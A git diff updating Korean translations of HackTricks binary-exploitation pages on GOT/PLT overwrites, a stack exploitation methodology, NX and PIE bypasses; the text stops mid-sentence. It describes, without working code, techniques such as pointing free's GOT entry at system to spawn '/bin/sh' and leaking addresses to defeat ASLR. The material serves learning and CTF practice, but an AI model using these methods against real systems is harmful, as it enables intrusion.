diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 6c2b8d736..5a2cb25aa 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -6,15 +6,15 @@ ### **GOT: 전역 오프셋 테이블** -**전역 오프셋 테이블 (GOT)**은 동적으로 연결된 바이너리에서 **외부 함수의 주소**를 관리하는 메커니즘입니다. 이러한 **주소는 런타임까지 알려지지 않기 때문에** (동적 연결로 인해), GOT는 이러한 외부 기호의 주소가 해결된 후 **동적으로 업데이트할 수 있는 방법**을 제공합니다. +**전역 오프셋 테이블(GOT)**은 동적으로 연결된 바이너리에서 **외부 함수의 주소**를 관리하는 메커니즘입니다. 이러한 **주소는 런타임까지 알 수 없기 때문에**(동적 연결로 인해), GOT는 **이 외부 기호의 주소를 동적으로 업데이트하는 방법**을 제공합니다. -GOT의 각 항목은 바이너리가 호출할 수 있는 외부 라이브러리의 기호에 해당합니다. **함수가 처음 호출될 때, 실제 주소는 동적 링커에 의해 해결되어 GOT에 저장됩니다**. 이후 동일한 함수에 대한 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다. +GOT의 각 항목은 바이너리가 호출할 수 있는 외부 라이브러리의 기호에 해당합니다. **함수가 처음 호출될 때, 동적 링커에 의해 실제 주소가 해결되어 GOT에 저장됩니다**. 이후 동일한 함수에 대한 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다. ### **PLT: 프로시저 링크 테이블** -**프로시저 링크 테이블 (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출할 때, 제어는 해당 함수와 연결된 PLT의 항목으로 전달됩니다**. 이 PLT 항목은 함수의 주소가 아직 해결되지 않은 경우 동적 링커를 호출하여 주소를 해결하는 역할을 합니다. 주소가 해결된 후, 그것은 **GOT**에 저장됩니다. +**프로시저 링크 테이블(PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하는 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출할 때, 제어는 해당 함수와 연결된 PLT의 항목으로 전달됩니다**. 이 PLT 항목은 함수의 주소가 아직 해결되지 않은 경우 동적 링커를 호출하여 주소를 해결하는 역할을 합니다. 주소가 해결된 후, 그것은 **GOT**에 저장됩니다. -**따라서,** GOT 항목은 외부 함수나 변수의 주소가 해결된 후 직접 사용됩니다. **PLT 항목은 이러한 주소의 초기 해결을 동적 링커를 통해 용이하게 하기 위해 사용됩니다.** +**따라서,** GOT 항목은 외부 함수나 변수의 주소가 해결된 후 직접 사용됩니다. **PLT 항목은 이러한 주소를 동적 링커를 통해 초기 해결하는 데 사용됩니다.** ## 실행 가져오기 @@ -26,7 +26,7 @@ GOT 테이블의 주소를 가져오려면: **`objdump -s -j .got ./exec`** GEF에서 **실행 파일을 로드한 후** **GOT에 있는 함수**를 **볼 수 있는 방법**을 관찰하세요: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) GEF를 사용하여 **디버깅** 세션을 시작하고 **`got`**를 실행하여 GOT 테이블을 확인할 수 있습니다: @@ -36,23 +36,23 @@ GEF를 사용하여 **디버깅** 세션을 시작하고 **`got`**를 실행하 바이너리에서 GOT는 **함수의 주소** 또는 **PLT** 섹션의 주소를 가지고 있어 함수 주소를 로드합니다. 이 임의 쓰기의 목표는 **나중에 실행될 함수의 GOT 항목을** **`system`** **함수의 PLT 주소로 덮어쓰는 것입니다**. -이상적으로는, **당신이 제어하는 매개변수로 호출될 함수의 GOT를 덮어써야 합니다** (그래야 시스템 함수에 전달되는 매개변수를 제어할 수 있습니다). +이상적으로는, **당신이 제어할 수 있는 매개변수로 호출될 함수의 GOT를 덮어써야 합니다**(그래야 시스템 함수에 전달되는 매개변수를 제어할 수 있습니다). -바이너리가 **`system`**을 사용하지 않는 경우, 시스템 함수는 PLT에 항목이 없습니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 **유출**한 다음 GOT를 이 주소를 가리키도록 덮어써야 합니다. +만약 **`system`** **이 바이너리에서 사용되지 않는다면**, 시스템 함수는 **PLT에 항목이 없을 것입니다**. 이 경우, 먼저 `system` 함수의 주소를 **유출**한 다음 GOT를 이 주소를 가리키도록 덮어써야 합니다. PLT 주소는 **`objdump -j .plt -d ./vuln_binary`**로 확인할 수 있습니다. ## libc GOT 항목 -**libc의 GOT**는 일반적으로 **부분 RELRO**로 컴파일되어 있어, 주소를 파악할 수 있다면 좋은 목표가 됩니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +**libc의 GOT**는 일반적으로 **부분 RELRO**로 컴파일되어 있어, 그 주소를 파악할 수 있다면 좋은 목표가 됩니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)). libc의 일반적인 함수는 **다른 내부 함수**를 호출할 것이며, 이 함수의 GOT는 코드 실행을 얻기 위해 덮어쓸 수 있습니다. -이 기술에 대한 [**자세한 정보는 여기에서 확인하세요**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +[**이 기술에 대한 더 많은 정보는 여기에서 확인하세요**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -힙 익스플로잇 CTF에서는 청크의 내용을 제어할 수 있고, 심지어 GOT 테이블을 덮어쓸 수 있는 경우가 많습니다. 가용한 원가젯이 없을 때 RCE를 얻기 위한 간단한 트릭은 `free` GOT 주소를 `system`을 가리키도록 덮어쓰고 청크 안에 `"/bin/sh"`를 쓰는 것입니다. 이렇게 하면 이 청크가 해제될 때 `system("/bin/sh")`가 실행됩니다. +힙 익스플로잇 CTF에서는 청크의 내용을 제어할 수 있고, 때때로 GOT 테이블을 덮어쓸 수 있는 것이 일반적입니다. 가젯이 사용 불가능할 경우 RCE를 얻기 위한 간단한 트릭은 `free` GOT 주소를 `system`을 가리키도록 덮어쓰고, 청크에 `"/bin/sh"`를 작성하는 것입니다. 이렇게 하면 이 청크가 해제될 때 `system("/bin/sh")`가 실행됩니다. ### **Strlen2system** @@ -60,28 +60,28 @@ libc의 일반적인 함수는 **다른 내부 함수**를 호출할 것이며, 게다가, `puts`가 사용자 입력과 함께 사용되면, `strlen` GOT 주소를 `system`을 가리키도록 덮어쓰고 문자열 `"/bin/sh"`를 전달하여 셸을 얻을 수 있습니다. 왜냐하면 **`puts`가 사용자 입력으로 `strlen`을 호출하기 때문입니다**. -## **원가젯** +## **One Gadget** {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **힙에서 GOT 남용하기** +## **힙에서 GOT 악용하기** -힙 취약점에서 RCE를 얻는 일반적인 방법은 빠른 빈을 남용하여 GOT 테이블의 일부를 빠른 빈에 추가하는 것입니다. 따라서 해당 청크가 할당될 때 **함수의 포인터, 일반적으로 `free`를 덮어쓸 수 있습니다**.\ -그런 다음 `free`를 `system`으로 가리키고 `/bin/sh\x00`가 작성된 청크를 해제하면 셸이 실행됩니다. +힙 취약점에서 RCE를 얻는 일반적인 방법은 빠른 빈을 악용하여 GOT 테이블의 일부를 빠른 빈에 추가하는 것입니다. 이렇게 하면 해당 청크가 할당될 때 **일반적으로 `free`의 포인터를 덮어쓸 수 있습니다**.\ +그런 다음 `free`를 `system`을 가리키도록 하고 `/bin/sh\x00`가 작성된 청크를 해제하면 셸이 실행됩니다. [**여기에서 예제를 찾을 수 있습니다**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** ## **보호** -**전체 RELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 그 후 **GOT 테이블을 읽기 전용**으로 만들어 이러한 종류의 기술을 방어하기 위해 설계되었습니다. +**전체 RELRO** 보호는 이와 같은 기술을 방지하기 위해 바이너리가 시작될 때 모든 함수의 주소를 해결하고, 그 후 **GOT 테이블을 읽기 전용**으로 만드는 것을 목표로 합니다: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## 참고문헌 +## 참고 문헌 - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a914b3a40..a975e9c75 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -24,79 +24,79 @@ tools/ 프로그램의 흐름을 제어하는 방법은 여러 가지가 있습니다: -- [**스택 오버플로우**](../stack-overflow/)를 통해 스택의 반환 포인터 또는 EBP -> ESP -> EIP를 덮어쓰기. +- [**스택 오버플로우**](../stack-overflow/index.html): 스택에서 반환 포인터 또는 EBP -> ESP -> EIP를 덮어쓰기. - 오버플로우를 유발하기 위해 [**정수 오버플로우**](../integer-overflow.md)를 악용해야 할 수도 있습니다. -- 또는 **임의 쓰기 + 실행을 위한 쓰기 위치 지정** -- [**포맷 문자열**](../format-strings/)**:** `printf`를 악용하여 임의의 내용을 임의의 주소에 쓰기. -- [**배열 인덱싱**](../array-indexing.md): 잘못 설계된 인덱싱을 악용하여 일부 배열을 제어하고 임의 쓰기를 얻기. +- 또는 **임의 쓰기 + 실행을 위한 쓰기 위치 지정**을 통해. +- [**포맷 문자열**](../format-strings/index.html)**:** `printf`를 악용하여 임의의 내용을 임의의 주소에 쓰기. +- [**배열 인덱싱**](../array-indexing.md): 잘못 설계된 인덱싱을 악용하여 일부 배열을 제어하고 임의의 쓰기를 얻기. - 오버플로우를 유발하기 위해 [**정수 오버플로우**](../integer-overflow.md)를 악용해야 할 수도 있습니다. -- **ROP를 통한 bof to WWW**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있습니다. +- **bof to WWW via ROP**: 버퍼 오버플로우를 악용하여 ROP를 구성하고 WWW를 얻을 수 있습니다. -**실행을 위한 쓰기 위치 지정** 기술은 다음에서 찾을 수 있습니다: +**Write What Where to Execution** 기술은 다음에서 찾을 수 있습니다: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## 영구 루프 +## 영원한 루프 -고려해야 할 점은 일반적으로 **취약점을 한 번 익스플로잇하는 것만으로는 성공적인 익스플로잇을 실행하기에 충분하지 않을 수 있습니다**, 특히 일부 보호를 우회해야 할 필요가 있습니다. 따라서 **단일 취약점을 동일한 바이너리 실행에서 여러 번 익스플로잇 가능하게 만드는** 몇 가지 옵션을 논의하는 것이 흥미롭습니다: +고려해야 할 점은 일반적으로 **취약점을 한 번 익스플로잇하는 것만으로는 충분하지 않을 수 있습니다**. 특히 일부 보호를 우회해야 할 수 있습니다. 따라서 **단일 취약점을 동일한 바이너리 실행에서 여러 번 익스플로잇할 수 있는 옵션**에 대해 논의하는 것이 흥미롭습니다: - **`main` 함수**의 주소 또는 **취약점**이 발생하는 주소를 **ROP** 체인에 작성. - 적절한 ROP 체인을 제어하면 해당 체인에서 모든 작업을 수행할 수 있습니다. -- **`exit` GOT의 주소**에 (종료 전에 바이너리가 사용하는 다른 함수의 주소) **취약점으로 돌아가는** 주소를 작성. -- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**에서 설명한 대로**, 여기에서 두 개의 함수를 저장하여 하나는 취약점을 다시 호출하고 다른 하나는 **`__libc_csu_fini`**를 호출하여 `.fini_array`의 함수를 다시 호출합니다. +- **`exit` GOT의 주소**에 (종료 전에 바이너리가 사용하는 다른 함수의 주소) **취약점으로 돌아가는 주소**를 작성. +- [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**에서 설명한 대로**, 여기에서 두 개의 함수를 저장하여 하나는 취약점을 다시 호출하고 다른 하나는 **`__libc_csu_fini`**를 호출하여 **`.fini_array`**의 함수를 다시 호출합니다. ## 익스플로잇 목표 ### 목표: 기존 함수 호출 -- [**ret2win**](#ret2win): 플래그를 얻기 위해 호출해야 하는 코드에 함수가 있습니다 (특정 매개변수와 함께일 수 있음). +- [**ret2win**](#ret2win): 플래그를 얻기 위해 호출해야 하는 코드에 함수가 있습니다(특정 매개변수와 함께 호출할 수 있습니다). - **PIE**가 없는 **정상적인 bof**에서는 스택에 저장된 반환 주소에 주소를 작성하기만 하면 됩니다. -- [**PIE**](../common-binary-protections-and-bypasses/pie/)가 있는 bof에서는 이를 우회해야 합니다. -- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)가 있는 bof에서는 이를 우회해야 합니다. +- **PIE**가 있는 bof에서는 이를 우회해야 합니다. +- **canary**가 있는 bof에서는 이를 우회해야 합니다. - **ret2win** 함수를 올바르게 호출하기 위해 여러 매개변수를 설정해야 하는 경우: -- 모든 매개변수를 준비할 수 있는 충분한 가젯이 있는 경우 [**ROP**](#rop-and-ret2...-techniques) 체인 사용 -- 많은 레지스터를 제어하기 위해 [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (이 시스템 호출을 호출할 수 있는 경우) -- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯 사용 -- [**Write What Where**](../arbitrary-write-2-exec/)를 통해 다른 취약점(버퍼 오버플로우가 아님)을 악용하여 **`win`** 함수를 호출할 수 있습니다. -- [**포인터 리디렉션**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 미칠 수 있습니다. +- 모든 매개변수를 준비할 수 있는 충분한 가젯이 있는 경우 [**ROP**](#rop-and-ret2...-techniques) 체인을 사용할 수 있습니다. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (이 시스템 호출을 호출할 수 있는 경우)로 많은 레지스터를 제어합니다. +- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯을 사용합니다. +- [**Write What Where**](../arbitrary-write-2-exec/index.html)를 통해 다른 취약점(버퍼 오버플로우가 아님)을 악용하여 **`win`** 함수를 호출할 수 있습니다. +- [**포인터 리디렉팅**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터나 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 주소에 영향을 미칠 수 있습니다. - [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 당신은 결코 알 수 없습니다. ### 목표: RCE -#### 쉘코드를 통한 방법, nx 비활성화 시 또는 쉘코드와 ROP 혼합: +#### 쉘코드를 통해, nx가 비활성화된 경우 또는 쉘코드와 ROP 혼합: - [**(스택) 쉘코드**](#stack-shellcode): 반환 포인터를 덮어쓰기 전후에 스택에 쉘코드를 저장한 다음 **점프하여** 실행하는 데 유용합니다: -- 어떤 경우에도 **canary**가 있는 경우, 정상적인 bof에서는 이를 우회해야 합니다 (leak). +- 어떤 경우든 **canary**가 있는 경우, 정상적인 bof에서는 이를 우회(유출)해야 합니다. - **ASLR**가 없고 **nx**가 없으면 스택의 주소로 점프할 수 있습니다. 주소는 절대 변경되지 않기 때문입니다. - **ASLR**가 있는 경우 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)와 같은 기술을 사용하여 점프해야 합니다. -- **nx**가 있는 경우, 일부 [**ROP**](../rop-return-oriented-programing/)를 사용하여 `memprotect`를 호출하고 일부 페이지를 `rwx`로 만들어야 하며, 그런 다음 거기에 쉘코드를 저장하고(예: read 호출) 그곳으로 점프해야 합니다. +- **nx**가 있는 경우, [**ROP**](../rop-return-oriented-programing/index.html)를 사용하여 `memprotect`를 호출하고 일부 페이지를 `rwx`로 만들어야 하며, 그런 다음 **거기에 쉘코드를 저장**(예: read 호출)하고 점프해야 합니다. - 이는 쉘코드를 ROP 체인과 혼합합니다. -#### 시스템 호출을 통한 방법 +#### 시스템 호출을 통해 -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **특정 시스템 호출을 매개변수와 함께 호출하기 위한 가젯을 찾아야 합니다.** -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화된 경우, 바이너리 또는 라이브러리에서 ROP 가젯을 사용하기 위해 이를 무력화해야 합니다. -- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)는 **ret2execve**를 준비하는 데 유용할 수 있습니다. -- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯 사용 +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): 임의의 명령을 실행하기 위해 `execve`를 호출하는 데 유용합니다. **특정 시스템 호출을 매개변수와 함께 호출할 수 있는 가젯을 찾아야 합니다**. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 활성화된 경우, 바이너리 또는 라이브러리에서 ROP 가젯을 사용하기 위해 이를 무력화해야 합니다. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html)은 **ret2execve**를 준비하는 데 유용할 수 있습니다. +- 여러 레지스터를 제어하기 위해 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 및 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)에서 가젯을 사용합니다. -#### libc를 통한 방법 +#### libc를 통해 -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): **`libc`**의 함수(예: **`system`**)를 호출하는 데 유용하며, 준비된 인수(예: `'/bin/sh'`)가 필요합니다. 호출하고자 하는 함수가 있는 라이브러리를 **바이너리가 로드해야** 합니다 (보통 libc). -- **정적으로 컴파일되고 PIE가 없는 경우**, `system` 및 `/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다. -- **ASLR가 없고 로드된 libc 버전을 아는 경우**, `system` 및 `/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있으며 바이너리가 `system` 함수를 사용하는 경우 **GOT의 system 주소로 `ret`**하고 `/bin/sh`의 주소를 매개변수로 전달할 수 있습니다 (이것을 알아내야 합니다). -- [ASLR](../common-binary-protections-and-bypasses/aslr/)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/)가 없는 경우, libc를 알고 있으며 **바이너리가 `system`을 사용하지 않는 경우**: +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): **`libc`**의 함수(예: `system`)를 호출하는 데 유용하며, 준비된 인수(예: `'/bin/sh'`)가 필요합니다. 호출하려는 함수가 있는 라이브러리를 **바이너리가 로드해야** 합니다(일반적으로 libc). +- **정적으로 컴파일되고** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 없는 경우, `system` 및 `/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다. +- **ASLR**가 없고 로드된 **libc 버전**을 알고 있다면, `system` 및 `/bin/sh`의 **주소**는 변경되지 않으므로 정적으로 사용할 수 있습니다. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 있지만 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 없는 경우, libc를 알고 있고 바이너리가 `system` 함수를 사용하는 경우 **GOT의 system 주소로 `ret`**하고 `/bin/sh`의 주소를 매개변수로 전달할 수 있습니다(이를 알아내야 합니다). +- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html)가 있지만 [PIE](../common-binary-protections-and-bypasses/pie/index.html)가 없는 경우, libc를 알고 있고 **바이너리가 `system`을 사용하지 않는 경우**: - [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)를 사용하여 `system`의 주소를 해결하고 호출합니다. - **ASLR**를 우회하고 메모리에서 `system` 및 `'/bin/sh'`의 주소를 계산합니다. -- **ASLR**와 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 활성화되어 있고 libc를 모르는 경우: -- [**PIE**](../common-binary-protections-and-bypasses/pie/)를 우회해야 합니다. -- 사용된 **`libc` 버전**을 찾아야 합니다 (몇 개의 함수 주소를 leak). -- 계속하기 위해 **ASLR**가 있는 이전 시나리오를 확인해야 합니다. +- **ASLR**와 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 모두 활성화되고 libc를 모르는 경우: +- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)를 우회해야 합니다. +- 사용된 **`libc` 버전**을 찾아야 합니다(몇 개의 함수 주소를 유출). +- 계속하기 위해 **ASLR**가 있는 이전 시나리오를 확인합니다. -#### EBP/RBP를 통한 방법 +#### EBP/RBP를 통해 - [**스택 피벗팅 / EBP2Ret / EBP 체이닝**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 스택에 저장된 EBP를 통해 RET를 제어하기 위해 ESP를 제어합니다. - **오프 바이 원** 스택 오버플로우에 유용합니다. @@ -104,8 +104,8 @@ tools/ #### 기타 -- [**포인터 리디렉션**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터 또는 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/)가 주소에 영향을 미칠 수 있습니다. +- [**포인터 리디렉팅**](../stack-overflow/pointer-redirecting.md): 스택에 호출될 함수에 대한 포인터나 흥미로운 함수(system 또는 printf)에서 사용될 문자열에 대한 포인터가 포함된 경우 해당 주소를 덮어쓸 수 있습니다. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 또는 [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)가 주소에 영향을 미칠 수 있습니다. - [**초기화되지 않은 변수**](../stack-overflow/uninitialized-variables.md): 당신은 결코 알 수 없습니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 00fac0908..e26359ef3 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -4,13 +4,13 @@ ## 기본 정보 -**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다. +**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 메모리 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다. ## 우회 방법 -- [**ROP**](../rop-return-oriented-programing/)와 같은 기술을 사용하여 이 보호 기능을 **우회**할 수 있으며, 이는 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행하는 것입니다. -- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- [**ROP**](../rop-return-oriented-programing/index.html)와 같은 기술을 사용하여 이 보호 기능을 **우회**할 수 있으며, 이는 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행하는 것입니다. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html) - **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index e51ae9606..f53d6add3 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information PIE로 컴파일된 바이너리는 **위치 독립 실행 파일**을 의미하며, **프로그램이 실행될 때마다 다른 메모리 위치에 로드될 수** 있어 하드코딩된 주소를 방지합니다. -이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다.** 일반적으로 **스택**에서 포맷 문자열 공격과 같은 취약점을 사용하여 주소를 유출합니다. 주소를 얻으면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다. +이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다**, 일반적으로 포맷 문자열 공격과 같은 취약점을 사용하여 **스택**에서 유출합니다. 주소를 하나 확보하면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다. -PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우 확인할 중요한 체크**가 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\ -또한, 익스플로잇에 사용할 수 있습니다. 주소가 **`0x649e1024`**에 위치해 있다고 유출되면, **기본 주소는 `0x649e1000`**임을 알 수 있으며, 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다. +PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우 확인할 수 있는 중요한 체크**가 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\ +또는 익스플로잇에 이를 사용할 수 있습니다. 만약 **`0x649e1024`**에 주소가 위치해 있다는 것을 유출하면, **기본 주소는 `0x649e1000`**이라는 것을 알 수 있으며, 거기서부터 함수와 위치의 **오프셋을 계산**할 수 있습니다. -## 우회 방법 +## Bypasses -PIE를 우회하려면 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다: +PIE를 우회하기 위해서는 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다: -- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다.** 따라서 **PIE는 쓸모가 없게 됩니다.** 객체의 주소가 항상 같은 위치에 있기 때문입니다. -- 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 일반적, [**이 예시를 확인하세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **스택에서 EBP와 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지 시도합니다: +- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다**. 따라서 **PIE는 쓸모가 없게 됩니다**. 객체의 주소가 항상 같은 위치에 있기 때문입니다. +- 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 흔함, [**이 